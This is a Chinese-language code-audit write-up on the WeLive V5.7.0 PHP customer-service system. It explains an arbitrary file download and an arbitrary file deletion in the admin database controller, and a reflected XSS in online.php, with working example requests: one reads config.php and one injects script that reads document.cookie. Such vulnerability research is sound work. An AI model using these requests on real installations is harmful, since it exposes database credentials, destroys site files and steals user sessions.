WeLiveCms任意文件下载&删除

前言

最近在学习php和代码审计,学习了很多前辈的文章。今天通过一次小型cms的实战也算是对自己这几天的一个圆满交代吧。
本次的目标是一款基于PHP开发的在线客服系统:WeLive V5.7.0

程序目录结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
├── 安装及使用说明_WeLive在线客服系统.txt
├── admin(后台)
├── app
├── avatar(头像目录)
├── config(配置文件)
├── includes(类文件)
├── robots.txt
├── install(安装目录)
├── language(语言包)
├── mobile(移动端)
├── public(公共文件)
├── upload(上传文件和图像)
├── welive2618.php
├── welive_ajax.php

任意文件下载

首先根据敏感函数回溯参数是否可控找到了一处参数可控的readfile函数。定位功能点:welive/admin/controllers/database.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function ajax(){
$action = ForceStringFrom('action');

//下载数据库备份文件时, 伪装成ajax不输出页头等
if($action == 'download'){
//下载权限验证
if(!$this->CheckAccess()){
header("Content-type: text/html; charset=utf-8");
die('<script type="text/javascript">alert("您没有权限下载数据库备份文件!");history.back();</script>');
}

$filename = ForceStringFrom('file');

if (file_exists($this->backupDir . $filename)){
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: application/force-download');
header('Content-Type: application/octet-stream');
header('Content-Type: application/download');
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-Transfer-Encoding: binary');
readfile($this->backupDir . $filename);
exit();
}else{
header("Content-type: text/html; charset=utf-8");
die('<script type="text/javascript">alert("提定下载的文件 ' . $filename . ' 不存在!");history.back();</script>');
}

首先判断操作是否为download,接着调用CheckAccess方法验证权限,然后用readfile函数输出文件,这里直接拼接路径没有做任何处理导致可以下载任意文件。// 函数调用为:readfile(‘根目录/config’.$filename)
welive2
构造下载config/config数据库配置文件
http://127.0.0.1/welive/admin/index.php?c=database&a=ajax&action=download&file=./config.php
welive3

任意文件删除

同下载原理,定位功能点代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
elseif($action == 'delete'){
//ajax权限验证
if(!$this->CheckAccess()){
$this->ajax['s'] = 0; //ajax操作失败
$this->ajax['i'] = '您没有权限删除数据库备份文件!';
die($this->json->encode($this->ajax));
}

$filename = ForceStringFrom('file');

if(@unlink($this->backupDir . $filename)){
//无动作
}else{
$this->ajax['s'] = 0; //ajax操作失败
$this->ajax['i'] = '无法删除数据库备份文件! 文件夹不可写或文件不存在.';
}

这里直接接收post的file为filename,直接使用unlink拼接文件名删除,值得一提的是这里可以通过删除config/config.php配置文件搭配重装漏洞进行进一步的漏洞利用。
welive4

反射XSS

首先进入根目录下的kefu.php,这里直接访问会拒绝访问,需要传入一个参数a值为 621276866,具体的代码如下

1
2
3
4
$a = 0;
if(isset($_GET['a'])) $a = intval($_GET['a']);

if($a !== 621276866) die('Access denied.'); //简单地防止直接访问当前文件

输入之后跳转到onlien.php,继续审计此文件
welive5
可以看到这里直接将get的内容输出,没有进行任何过滤,不过要注意,这里输出的内容是在script标签中的js代码里,可以确认一下输出点。
welive6
Payload:

1
http://127.0.0.1/welive/online.php?a=621276866&gid=&fn=&r=0.5440381324828616&url=aHR0cDovLzEyNy4wLjAuMS93ZWxpdmUva2VmdS5waHA/YT02MjEyNzY4NjY=&d=123123%22;(function(){%20alert(document.cookie)})();//

welive7